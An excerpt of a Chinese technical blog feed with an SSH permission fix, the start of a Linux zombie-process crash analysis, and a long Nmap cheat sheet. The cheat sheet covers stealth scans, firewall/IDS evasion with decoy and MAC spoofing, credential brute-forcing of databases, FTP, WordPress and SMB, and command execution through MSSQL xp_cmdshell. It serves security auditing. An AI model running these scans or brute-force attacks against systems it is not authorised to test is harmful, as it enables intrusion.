&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;Authentication refused: bad ownership or modes for directory &amp;#x2F;data&amp;#x2F;slot0&amp;#x2F;home&amp;#x2F;boss&amp;#x2F;.ssh&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;也就说明权限异常&lt;&#x2F;p&gt;
&lt;p&gt;1.查看文件权限&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;mipsasm&quot; class=&quot;language-mipsasm &quot;&gt;&lt;code class=&quot;language-mipsasm&quot; data-lang=&quot;mipsasm&quot;&gt;[boss@10-110-155-26 .ssh]$ ll -h
-rw-r--r-- 1 boss boss 1.6K Feb  1 15:28 authorized_keys
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;由于安全原因，authorized_keys权限不能被其它用户所读取，而该文件因为为手动建立，所以权限为644，&lt;code&gt;chmod 600&lt;&#x2F;code&gt;将其权限变更&lt;&#x2F;p&gt;
&lt;p&gt;将authorized_keys改为600权限后，然后发现ssh登录的时候，依然显示的目录权限异常&lt;&#x2F;p&gt;
&lt;p&gt;2.查看文件目录权限&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ruby&quot; class=&quot;language-ruby &quot;&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;[boss@10-110-155-26 ~]$ ll -d .ssh&amp;#x2F;
drwxr-xr-x 2 boss boss 99 Feb  1 16:38 .ssh&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;将目录权限改为700，再次登陆，发现ssh ok。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h3&gt;
&lt;p&gt;因为ssh安全的原因，所以不管是文件，还是目录，很多权限设定为都不能被group和other用户所读取，当权限不满足时，ssh认证会失败，即使ssh-key完全正确&lt;&#x2F;p&gt;
&lt;p&gt;相关权限列表如下:&lt;&#x2F;p&gt;
&lt;h4 id=&quot;1-sshmu-lu-zhi-xia-de-ge-wen-jian-de-quan-xian&quot;&gt;1.ssh目录之下的各文件的权限&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;mipsasm&quot; class=&quot;language-mipsasm &quot;&gt;&lt;code class=&quot;language-mipsasm&quot; data-lang=&quot;mipsasm&quot;&gt;[boss@10-110-155-26 .ssh]$ ll -h
total 20K
-rw------- 1 boss boss 1.6K Feb  1 15:28 authorized_keys
-rw------- 1 boss boss  400 Feb  1 16:38 authorized_keys2
-rw------- 1 boss boss 1.7K Sep 29 17:45 id_rsa
-rw-r--r-- 1 boss boss  400 Sep 29 17:45 id_rsa.pub
-rw-r--r-- 1 boss boss 2.8K Feb  1 15:22 known_hosts
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;2-sshmu-lu-de-quan-xian&quot;&gt;2..ssh目录的权限&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;ruby&quot; class=&quot;language-ruby &quot;&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;[boss@10-110-155-26 ~]$ ll -d .ssh&amp;#x2F;
drwx------ 2 boss boss 99 Feb  1 16:38 .ssh&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;group&#x2F;other用户不能对.ssh目录有w权限，设置成755或者700都可以&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>网络扫描之Nmap</title>
        <published>2024-07-10T00:00:00+00:00</published>
        <updated>2024-07-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/网络扫描之nmap/"/>
        <id>https://vercel.juzhong.asia/obsidian/网络扫描之nmap/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/网络扫描之nmap/">&lt;h1 id=&quot;wang-luo-sao-miao-zhi-nmap&quot;&gt;网络扫描之Nmap&lt;&#x2F;h1&gt;
&lt;h3 id=&quot;yi-zhu-ji-fa-xian&quot;&gt;一、主机发现&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;1. 全面扫描&amp;#x2F;综合扫描
nmap -A 192.168.100.100

2. Ping扫描
nmap -sP 192.168.1.1&amp;#x2F;24

3. 免Ping扫描，穿透防火墙，避免被防火墙发现
nmap -P0 192.168.100.100

4. TCP SYN Ping 扫描
nmap -PS -v 192.168.100.100
nmap -PS80,10-100 -v 192.168.100.100 （针对防火墙丢弃RST包）

5. TCP ACK Ping 扫描
nmap -PA -v 192.168.100.100

6. UDP Ping 扫描
nmap -PU -v 192.168.100.100

7. ICMP Ping Types 扫描
nmap -PU -v 192.168.100.100    (ICMP ECHO)
nmap -PP -v 192.168.100.100    (ICMP 时间戳)
nmap -PM -v 192.168.100.100    (ICMP 地址掩码)

8. ARP Ping 扫描
nmap -PR -v 192.168.100.100

9. 列表 扫描
nmap -sL -v 192.168.100.100

10. 禁止方向域名解析
nmap -n -sL -v 192.168.100.100

11. 方向域名解析
nmap -R -sL -v 192.168.100.100

12. 使用系统域名解析系统
nmap --system-dns 192.168.1.2 192.168.100.100

13. 扫描IPV6地址
nmap -6 IPv6

14. 路由跟踪
nmap --traceroute -v www.example.com

15. SCTP INIT Ping 扫描
nmap -PY -v 192.168.100.100
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;er-duan-kou-fa-xian&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;edu.yijinglab.com&#x2F;post&#x2F;291%23%25E4%25BA%258C-%25E7%25AB%25AF%25E5%258F%25A3%25E5%258F%2591%25E7%258E%25B0&quot;&gt;#&lt;&#x2F;a&gt; 二、端口发现&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;1. 时序扫描
nmap -T(0-5) 192.168.100.100

2. 常用扫描方式
nmap -p 80 192.168.100.100
nmap -p 80-100 192.168.100.100
nmap -p T:80,U:445 192.168.100.100
nmap -F 192.168.1.100.100    (快速扫描)
nmap --top-ports 100 192.168.100.100    (扫描最有用的前100个端口)

3. TCP SYN 扫描 （高效的扫描方式）
nmap -sS -v 192.168.100.100

4. TCP 连接扫描
nmap -sT -v 192.168.100.100

5. UDP 连接扫描
nmap -sU -p 80-100 192.168.100.100

6. 隐蔽扫描
nmap -sN ip(NULL扫描)
nmap -sF ip(FIN扫描)
nmap -sX ip(Xmas扫描)

7. TCP ACK 扫描
nmap -sA 192.168.100.100

8. TCP 窗口扫描
nmap -sW -v -F  192.168.100.100

9. TCP Maimon 扫描
nmap -sM -T4  192.168.100.100

10. 自定义 扫描
nmap -sT --scanflags SYNURG 192.168.100.100

11. 空闲 扫描( 隐藏IP )
nmap -sI www.example.co:80 192.168.100.100

12. IP协议 扫描
nmap -sO -T4 192.168.100.100

13. FTP Bounce 扫描
(已经不被支持)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;san-zhi-wen-shi-bie-tan-ce&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;edu.yijinglab.com&#x2F;post&#x2F;291%23%25E4%25B8%2589-%25E6%258C%2587%25E7%25BA%25B9%25E8%25AF%2586%25E5%2588%25AB%25E6%258E%25A2%25E6%25B5%258B&quot;&gt;#&lt;&#x2F;a&gt; 三、指纹识别探测&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;1. 版本探测
nmap -sV 192.168.100.100
nmap -sV -A 192.168.100.100

2. 全端口版本探测
nmap -sV --allports 192.168.100.100

3. 设置扫描强度
nmap -sV --version-intensity (0-9) 192.168.100.100

4. 轻量级扫描
nmap -sV --version-light 2 192.168.100.100

5. 重量级扫描
nmap -sV --version-all 192.168.100.100

6. 获取详细版本信息
nmap -sV --version-trace 192.168.100.100

7. RPC扫描
nmap -sS -sR 192.168.100.100

8. 对指定的目标进行操作系统监测
nmap -O --osscan-limit 192.168.100.100

9. 推测系统并识别
nmap -O --osscan-guess 192.168.100.100
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;si-sao-miao-su-du-diao-zheng&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;edu.yijinglab.com&#x2F;post&#x2F;291%23%25E5%259B%259B-%25E6%2589%25AB%25E6%258F%258F%25E9%2580%259F%25E5%25BA%25A6%25E8%25B0%2583%25E6%2595%25B4&quot;&gt;#&lt;&#x2F;a&gt; 四、扫描速度调整&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;1. 调整并行扫描组的大小
nmap --min-hostgroup 30 192.168.1.110&amp;#x2F;24
nmap --max-hostgroup 30 902 192.168.100.101

2. 调整探测报文的并行度
nmap --min-parallelism 100 192.168.100.101
nmap --max-parallelism 100 192.168.100.101

3. 调整探测报文超时
nmap --initial-rtt-timeout 100ms 192.168.100.101
nmap --max-rtt-timeout 100ms 192.168.100.101
nmap --min-rtt-timeout 100ms 192.168.100.101

4. 放弃缓慢的目标主机
nmap --host-timeout 1800000ms 192.168.100.101

5. 调整报文适合时间间隔
nmap --scan-delay 1s 192.168.100.101
nmap --max-scan-delay 1s 192.168.100.101
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;wu-gui-bi-fang-huo-qiang-ids&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;edu.yijinglab.com&#x2F;post&#x2F;291%23%25E4%25BA%2594-%25E8%25A7%2584%25E9%2581%25BF%25E9%2598%25B2%25E7%2581%25AB%25E5%25A2%2599ids&quot;&gt;#&lt;&#x2F;a&gt; 五、规避防火墙&#x2F;IDS&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;1. 报文分段
nmap -f -v ip

2. 指定偏移大小
nmap --mtu 16 192.168.100.101

3. IP欺骗
nmap -D RND:11 192.168.100.101
nmap -D 192.168.100.101,192.168.100.100,192.168.1.101 192.168.100.101

4. 源地址欺骗
nmap -sI www.0day.cn:80 192.168.100.101

5. 源端口欺骗
nmap --source-port 902 192.168.100.101

6. 指定发包长度
nmap --data-length 30 192.168.100.101

7. 目标主机随机排序
nmap --randomize-hosts 192.168.100.101

8. MAX地址欺骗
nmap -sT -Pn --spoof-mac 0 192.168.100.101
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;liu-li-yong-nmapjiao-ben-xin-xi-shou-ji&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;edu.yijinglab.com&#x2F;post&#x2F;291%23%25E5%2585%25AD-%25E5%2588%25A9%25E7%2594%25A8nmap%25E8%2584%259A%25E6%259C%25AC%25E4%25BF%25A1%25E6%2581%25AF%25E6%2594%25B6%25E9%259B%2586&quot;&gt;#&lt;&#x2F;a&gt; 六、利用nmap脚本信息收集&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;1. IP信息收集
nmap --script ip-geolocation-* www.example.com

2. WHOIS 查询
nmap --script whois-domain www.example.com
nmap --script whois-domain --script-args whois.whodb=nofollow www.ithome.com
nmap -sn --script whois-domain -v -iL host.txt

3. 搜索邮件信息(新版可能没有这个模块)
nmap --script http-email-harvest www.example.com

4. IP反查
nmap -sn --script hostmap-ip2hosts www.example.com

5. DNS信息收集
nmap --script dns-brute www.example.com
nmap --script dns-brute dns-brute.threads=10 www.example.com
nmap --script dns-brute dns-brute.threads=10,dns-brute.hostlis www.example.com

6. 检索系统信息
nmap -p 445 445 192.168.100.101 --script membase-http-info

7. 后台打印机服务漏洞
nmap --script smb-security-mode.nse -p 445 119.29.155.45

8. 系统漏洞扫描
nmap --script smb-check-vulns.nse -p 445 119.29.155.45

9.扫描Web漏洞
nmap -p80 --script http-stored-xss.nse&amp;#x2F;http-sql-injection.nse 119.29.155.45

10. 通过 Snmp 列举 Windows 服务&amp;#x2F;账户
nmap -sU -p 161 --script=snmp-win32-services 192.168.100.101
nmap -sU -f -p 161 --script=snmp-win32-users 192.168.1.110

11. 枚举 DNS 服务器的主机名
nmap --script dns-brute --script-args dns-brute.domain=example.com

12. HTTP信息收集
nmap -sV -p 80 www.0day.com (HTTP版本探测)
nmap -p 80 --script=http-headers www.example.com (HTTP信息头探测)
nmap -p 80 --script=http-sitemap-generator www.example.com (爬行Web目录结构)

13. 枚举SSL密钥
nmap -p 443 --script=ssl-enum-ciphers www.example.com

14. SSH服务密钥信息探测
map -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 127.0.0.1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;qi-jiao-ben-shi-yong-shu-ju-ku-tan-ce&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;edu.yijinglab.com&#x2F;post&#x2F;291%23%25E4%25B8%2583-%25E8%2584%259A%25E6%259C%25AC%25E4%25BD%25BF%25E7%2594%25A8-%25E6%2595%25B0%25E6%258D%25AE%25E5%25BA%2593%25E6%258E%25A2%25E6%25B5%258B&quot;&gt;#&lt;&#x2F;a&gt; 七、脚本使用-数据库探测&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;1. Mysql列举数据库
nmap -p3306 --script=mysql-databases --script-args mysqluser=root,mysqlpass 192.168.1.101

2. 列举 MySQL 变量
nmap -p3306 --script=mysql-variables 192.168.1.3
nmap -sV --script=mysql-variables 192.168.1.3 (无法确定端口的情况下)

3. 检查 MySQL 密码
nmap -p3306 --script=mysql-empty-password 192.168.1.3
nmap -sV -F -T4 --script=mysql-empty-password 192.168.1.3

4. 审计 MySQL 密码
nmap --script=mysql-brute 192.168.1.101
nmap -p3306 --script=mysql-brute userdb=&amp;#x2F;root&amp;#x2F;passdb.txt passdb=&amp;#x2F;root&amp;#x2F;pass.txt 192.168.1.101 (指定字典)

5. 审计 MySQL 安全配置
nmap -p3306 --script mysql-audit --script-args &amp;quot;mysql-audit.username=&amp;#x27;root&amp;#x27;,mysql-audit.password=&amp;#x27;123&amp;#x27;,mysql-audit.filename=&amp;#x27;nselib&amp;#x2F;data&amp;#x2F;mysql-cis.audit&amp;#x27;&amp;quot; 192.168.100.101

6. 审计 Oracle 密码
nmap --script=oracle-brute -p 1521 --script-args oracle-brute.sid=test 192.168.1.121
nmap --script=oracle-brute -p 1521 --script-args oracle-brute.sid=test --script-args userdb=&amp;#x2F;tmp&amp;#x2F;usernames.txt,passdb=&amp;#x2F;tmp&amp;#x2F;password.txt 192.168.1.105

7. 审计 msSQL密码
nmap -p 1433 --script ms-sql-brute --script-args userdb=name.txt,passdb=pass.txt 192.168.100.101

8. 检查 msSQL空密码
nmap -p 1433 --script ms-sql-empty-password 192.168.100.101

9. 读取 msSQL 数据
nmap -p 1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.Password=sa 192.168.1.101

10. 读取 msSQL 执行系统命令
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd=&amp;quot;ipconfig&amp;quot; 192.168.1.101

11. 审计 PgSQL 密码
nmap -p 5432 --script pgsql-brute 192.168.1.101
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;ba-jiao-ben-shi-yong-shen-tou-ce-shi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;edu.yijinglab.com&#x2F;post&#x2F;291%23%25E5%2585%25AB-%25E8%2584%259A%25E6%259C%25AC%25E4%25BD%25BF%25E7%2594%25A8%25E6%25B8%2597%25E9%2580%258F%25E6%25B5%258B%25E8%25AF%2595&quot;&gt;#&lt;&#x2F;a&gt; 八、脚本使用渗透测试&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;1. 审计 HTTP 身份验证
nmap --script=http-brute -p 80 www.example.com

2. 审计 FTP 服务器
nmap --script ftp-brute -p 21 192.168.1.101
nmap --script ftp-brute --script-args userdb=user.txt,passdb=pass.txt -p 21 192.168.1.101
nmap --script=ftp-anon 192.168.1.101

3. 审计 Wordpress 程序
nmap -p80 --script http-wordpress-brute 192.168.1.110
nmap -p80 --script http-wordpress-brute --script-args userdb=user.txt,passdb=passwd.txt 192.168.1.110
nmap -p80 --script http-wordpress-brute --script-args http-wordpress-brute.threads=10 192.168.1.110

4. 审计 Joomla 程序
nmap -p80 --script http-joomla-brute 192.168.1.110
nmap -p80 --script http-joomla-brute --script-args uesrdb=user.txt,passdb=passwd.txt 192.168.1.110
nmap -p80 --script http-joomla-brute --script-args uesrdb=user.txt,passdb=passwd.txt,http-joomla-brute.threads=5 192.168.1.110

5. 审计 邮件服务器
nmap -p110 --script=pop3-brute 192.168.1.110

6. 审计 SMB 口令
nmap --script smb-brute.nse -p 445 192.168.1.110
nmap --script smb-brute.nse --script-args passdb=pass.txt -p 445 192.168.1.110

7. 审计 VNC 服务
nmap --script vnc-brute -p 5900 192.168.1.110

8. 审计 SMTP 服务器
nmap -p 25 --script smtp-brute 192.168.1.110
nmap -p 25 --script=smtp-enum-users.nse smith.jack.com (枚举远程系统所有用户)

9. 检测 Stuxnet 蠕虫
nmap --script stuxnet-detect -p 445 192.168.1.110

10. SNMP 服务安全审计
nmap -sU -p 161 --script=snmp-netstat 192.168.1.101 (获取目标主机网络连接状态)
nmap -sU -p 161 --script=snmp-processes 192.168.1.110 (枚举目标主机的系统进程)
nmap -sU -p 161 --script=snmp-win32-services 192.168.1.110 (获得windows服务器的服务)
nmap -sU -p 161 --script snmp-brute 192.168.1.110
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;jiu-tu-xing-hua-jie-mian-zenmap&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;edu.yijinglab.com&#x2F;post&#x2F;291%23%25E4%25B9%259D-%25E5%259B%25BE%25E5%25BD%25A2%25E5%258C%2596%25E7%2595%258C%25E9%259D%25A2zenmap&quot;&gt;#&lt;&#x2F;a&gt; 九、图形化界面Zenmap&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;1. Intense scan (详细扫描)
nmap -T4 -A -v 192.168.1.101

2. Intense scan plus UDP (UDP扫描经典使用)
nmap -sS -sU -T4 -A -v 192.168.1.101

3. Intense scan, all TCP ports (TCP扫描)
nmap -p 1-65535 -T4 -A -v 192.168.1.101

4. Intense scan, no ping (无Ping扫描)
nmap -T4 -A -v -Pn 192.168.1.101

5. Ping scan (Ping扫描)
nmap -sn 192.168.1.101&amp;#x2F;24

6. Quick scan
nmap -T4 -F 192.168.1.101&amp;#x2F;24

7. Quick scan plus
nmap -sV -T4 -O -F --version-light 192.168.1.101&amp;#x2F;24

8. Quick traceroute
nmap -sn --traceroute 192.168.1.101

9. Regular scan
nmap 192.168.1.101

10. Slow comprehensive scan
nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script &amp;quot;default or (discovery and safe)&amp;quot; 192.168.1.101
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;shi-nmapxiao-ji-qiao&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;edu.yijinglab.com&#x2F;post&#x2F;291%23%25E5%258D%2581-nmap%25E5%25B0%258F%25E6%258A%2580%25E5%25B7%25A7&quot;&gt;#&lt;&#x2F;a&gt; 十. Nmap小技巧&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;1. 发送以太网数据包
nmap --send-eth 192.168.1.111

2. 网络层发送
nmap --send-ip 192.168.1.111

3. 假定拥有所有权
nmap --privileged 192.168.1.111

4. 在交互模式中启动
nmap --interactive

5. 查看 Nmap 版本号
nmap -V

6. 设置调试级别
nmap -d (1-9) 192.168.1.111

7. 跟踪发送接收的报文
nmap --packet-trace -p 20-30 192.168.1.111

8. 列举接口和路由
nmap --iflist www.example.com

9. 指定网络接口
nmap -e eth0 192.168.1.111

10. 继续中断扫描
nmap -oG 1.txt -v 192.168.126.1&amp;#x2F;24
nmap --resume 1.txt (继续扫描)

11. Dnmap
dnmap_server -f test (指定命令脚本)
dnmap_client -s 192.168.1.107 -a test

12. 编写 Nse 脚本

    (1)    -- The scanning module --
        author = &amp;quot;Wing&amp;quot;
        categories = {&amp;quot;version&amp;quot;}

        portrule = function(host,port)
            return port.protocol == &amp;quot;tcp&amp;quot; and port.number == 80 and port.state == &amp;quot;open&amp;quot;
        end

        action = function(host,port)
            return &amp;quot;Found!!!&amp;quot;
        end

    (2) -- The scanning module --
        author = &amp;quot;Wing&amp;quot;
        categories = {&amp;quot;version&amp;quot;}

        local comm=require &amp;quot;comm&amp;quot;
        require &amp;quot;shortport&amp;quot;
        local http=require &amp;quot;http&amp;quot;

        portrule = function(host,port)
            return (port.number == 80) and (port.start==&amp;quot;open&amp;quot;)
        end

        action = function(host,port)
            local uri = &amp;quot;&amp;#x2F;admin.php&amp;quot;
            local response = http.get(host,port,uri)
            return &amp;quot;Found!!!&amp;quot;
        end

13. 探测防火墙
nmap --script=firewalk --traceroute 192.168.1.111

14. VMware认证破解
nmap -p 902 --script vmauthd-brute 192.168.1.107
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;shi-yi-nmapbao-cun-he-shu-chu&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;edu.yijinglab.com&#x2F;post&#x2F;291%23%25E5%258D%2581%25E4%25B8%2580-nmap%25E4%25BF%259D%25E5%25AD%2598%25E5%2592%258C%25E8%25BE%2593%25E5%2587%25BA&quot;&gt;#&lt;&#x2F;a&gt; 十一. Nmap保存和输出&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;1. 标准保存
nmap -F -oN d:&amp;#x2F;test1.txt 192.168.1.111

2. XML保存
nmap -F -oX d:&amp;#x2F;test1.xml 192.168.1.111

3. 133t 保存
nmap -F -oS d:&amp;#x2F;test2.txt 192.168.1.111

4. Grep 保存
nmap -F -oG d:&amp;#x2F;test2.txt 192.168.1.111

5. 保存到所有格式
nmap -F -oA d:&amp;#x2F;test2 192.168.1.111

6. 补充保存文件
nmap -F -append-output -oN d:&amp;#x2F;test2.txt 192.168.1.111

7. 转换 XML 保存
nmap -F -oX testB.xml --stylesheet http:&amp;#x2F;&amp;#x2F;www.insecure.org&amp;#x2F;nmap&amp;#x2F;data&amp;#x2F;nmap.xsl 192.168.1.111

8. 忽略 XML 声明的 XSL 样式表
nmap -oX d:&amp;#x2F;testC.xml --no-stylesheet 192.168.1.111
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>串口线悬空带来的灾难：定位一次意想不到的Linux系统崩溃</title>
        <published>2024-07-09T00:00:00+00:00</published>
        <updated>2024-07-09T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/串口线悬空带来的灾难-定位一次意想不到的linux系统崩溃/"/>
        <id>https://vercel.juzhong.asia/obsidian/串口线悬空带来的灾难-定位一次意想不到的linux系统崩溃/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/串口线悬空带来的灾难-定位一次意想不到的linux系统崩溃/">&lt;h1 id=&quot;chuan-kou-xian-xuan-kong-dai-lai-de-zai-nan-ding-wei-yi-ci-yi-xiang-bu-dao-de-linuxxi-tong-beng-kui&quot;&gt;串口线悬空带来的灾难：定位一次意想不到的Linux系统崩溃&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;导语：&lt;&#x2F;strong&gt; 你相信吗？悬空的串口线可以导致reboot失败、systemd挂起、僵尸进程累积，最终导致Linux系统崩溃，一起来看看这个听起来就格外玄幻的故事。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wen-ti-xian-xiang&quot;&gt;【问题现象】&lt;&#x2F;h2&gt;
&lt;p&gt;自研交换机作为鹅厂的重要基础设施，广泛的服务于DCI、DCN等数据中心场景。设备数量多了自然会遇到一些神奇的故障。最近一个月就连续遇到了两例僵尸进程堆积的灵异故障。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;案例1：&lt;&#x2F;strong&gt; 安装 XXX_HOT_P05 补丁失败，upgraded 卡在 klp_manage服务&lt;&#x2F;p&gt;
&lt;p&gt;故障现象：
1、补丁安装失败，补丁服务卡在补丁安装的中间过程。&lt;&#x2F;p&gt;
&lt;p&gt;2、系统内大量僵尸进程堆积。&lt;&#x2F;p&gt;
&lt;p&gt;3、systemd 卡住，无法通过systemctl管理系统服务。&lt;&#x2F;p&gt;
&lt;p&gt;4、环境中存在多个login的coredump文件。&lt;&#x2F;p&gt;
&lt;p&gt;5、reboot命令失效，无法通过软件重启修复环境，需要通过BMC重置CPU。&lt;&#x2F;p&gt;
&lt;p&gt;故障场景下的进程状态如下图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;serial-line-crash&#x2F;zombie-process-ps-status.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;案例2：&lt;&#x2F;strong&gt;  upgraded 处理 process-exporter 时出异常导致 redis 消息积压、存储空间满，出 portsyncd 异常退出告警，定位时 upgraded 服务无法停止、后台很多僵尸进程&lt;&#x2F;p&gt;
&lt;p&gt;故障现象：&lt;&#x2F;p&gt;
&lt;p&gt;1、redis消息积压，磁盘空间耗尽，关键业务进程退出。&lt;&#x2F;p&gt;
&lt;p&gt;2、系统后台大量僵尸进程&lt;&#x2F;p&gt;
&lt;p&gt;3、systemd卡住，无法通过systemctl管理服务&lt;&#x2F;p&gt;
&lt;p&gt;这两例有相似的过程，系统中都有大量僵尸进程，systemd的内核栈调用栈也相似。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;serial-line-crash&#x2F;systemd-kernel-call-stack.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这些案例的最大影响在于，问题在补丁部署过程中被发现，具体表现为&lt;strong&gt;补丁可能导致systemd崩溃&lt;&#x2F;strong&gt;。此时，运营团队需要决定是否暂停补丁部署；然而，暂停部署可能会降低现网设备的整体可用性。&lt;&#x2F;p&gt;
&lt;p&gt;因此，我们必须深入分析问题的根本原因，提供充分的理由来判断是否应暂停补丁部署，并找到有效的规避方案。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wen-ti-fen-xi&quot;&gt;【问题分析】&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;shen-me-shi-jiang-shi-jin-cheng-wen-ti-huan-jing-wei-shen-me-na-me-duo-jiang-shi-jin-cheng&quot;&gt;什么是僵尸进程？问题环境为什么那么多僵尸进程？&lt;&#x2F;h2&gt;
&lt;p&gt;在Linux系统中，进程间有明确的父子层级关系。通常情况下，当子进程退出（“挂了”）后，需要由父进程负责“收尸”，即通过wait（）等调用回收子进程的系统资源，主要是回收进程号。&lt;&#x2F;p&gt;
